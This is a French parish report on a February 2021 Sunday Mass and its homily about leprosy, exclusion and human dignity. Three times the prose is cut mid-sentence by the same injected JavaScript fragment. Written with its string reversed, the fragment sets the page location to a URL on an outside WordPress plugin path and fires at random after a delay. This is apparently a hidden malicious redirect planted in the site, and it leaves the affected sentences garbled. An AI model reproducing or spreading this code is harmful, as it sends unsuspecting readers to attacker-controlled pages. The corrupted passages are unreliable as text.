Ce dimanche 14 Février 2021 correspond à la saint Valentin. Si cette journée ne tombe pas un dimanche, elle a la particularité de rappeler toutes les personnes de renouveler l’amour qui unit les fiancés et les mariés. La  célébration eucharistique de 9 :30 AM de ce dimanche a été présidée par le Père Marcien NDAYIZEYE, la chorale Saint Martin, qui fêtait son 19ème anniversaire, a aidé dans l’animation des chants liturgiques. Les lectures du jour ont été respectivement tirées du Livre du Lévitique 13, 1-2. 44-46 ; de la Première Epitre de saint Paul apôtre aux Corinthiens 10, 33- 11,1 et l’Evangile selon saint Marc 1, 40- 45.

Dans son homélie, le Père Ndayizeye a de prime abord précisé que la première  lecture et l’Evangile parlent de la lèpre que les Juifs considéraient comme un châtiment que Dieu infligeait à une personne qui avait fait ce qui ne lui plaisait pas. La deuxième lecture quant à elle nous a dit que dans tout ce que nous faisons, manger ou boire, nous appartenons au Christ et devons le faire en Lui. Ceci veut signifier que tout acte que nous posons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit être conforme à la volonté divine et à sa loi pour ne pas devenir une occasion de chute pour notre prochain.

Toute personne atteinte de la lèpre perdait toute sa dignité humaine, de même que tous ses droits et devoirs dans la société. En guérissant un lépreux comme nous l’avons entendu dans l’Evangile, Jésus lui a rendu sa dignité. Nous comprenons que devenir lépreux équivalait à avoir moins de valeur que les animaux toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domestiques, eux au moins ont le droit de vivre avec des hommes et d’être gardés par eux. Les Juifs aimaient se dire et se rappeler que « Puisque c’est Dieu qui t’a fait souffrir de la lèpre, il n’y a que Dieu seul qui peut te l’enlever ». C’est une maladie sévère qui fait apparaître des symptômes physiques chez les malades, lesquels symptômes font que tout le monde fuit toute personne atteinte par cette maladie.

En venant ici sur terre, Jésus a voulu nous enlever de toute souillure qui nous écartait de l’amour bienveillant du Père afin que nous devenions dignes de nous approcher les uns les autres en nous approchant en même temps de Dieu. Avant de guérir le lépreux, Jésus circulait librement dans les villages en enseignant, mais la situation a changé avec la désobéissance du lépreux après sa guérison de ne pas garder le secret à la manière que Jésus lui avait prescrite. Le mouvement de circulation de Jésus s’est arrêté de peur que le peuple ne puisse voir en Jésus rien que celui qui guérit les maladies physiques au lieu de voir en lui un Messie prédicateur qui se soucie avant tout de la guérison de l’âme. Selon les Saintes Ecritures de ce sixième et dernier dimanche du temps ordinaire avant la période de carême, nous apprenons à notre tour à n’écarter personne pour l’une ou l’autre raison car nous sommes tous fils et filles d’un même père et nous sommes appelés à nous entraider les uns les autres tant dans le bonheur que dans le malheur, tant dans la richesse que dans la misère. Et à chaque fois, rentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dons grâce à Dieu qui nous aime d’un amour inégalable et veille sur nous en tout et partout.

NYANDWI M.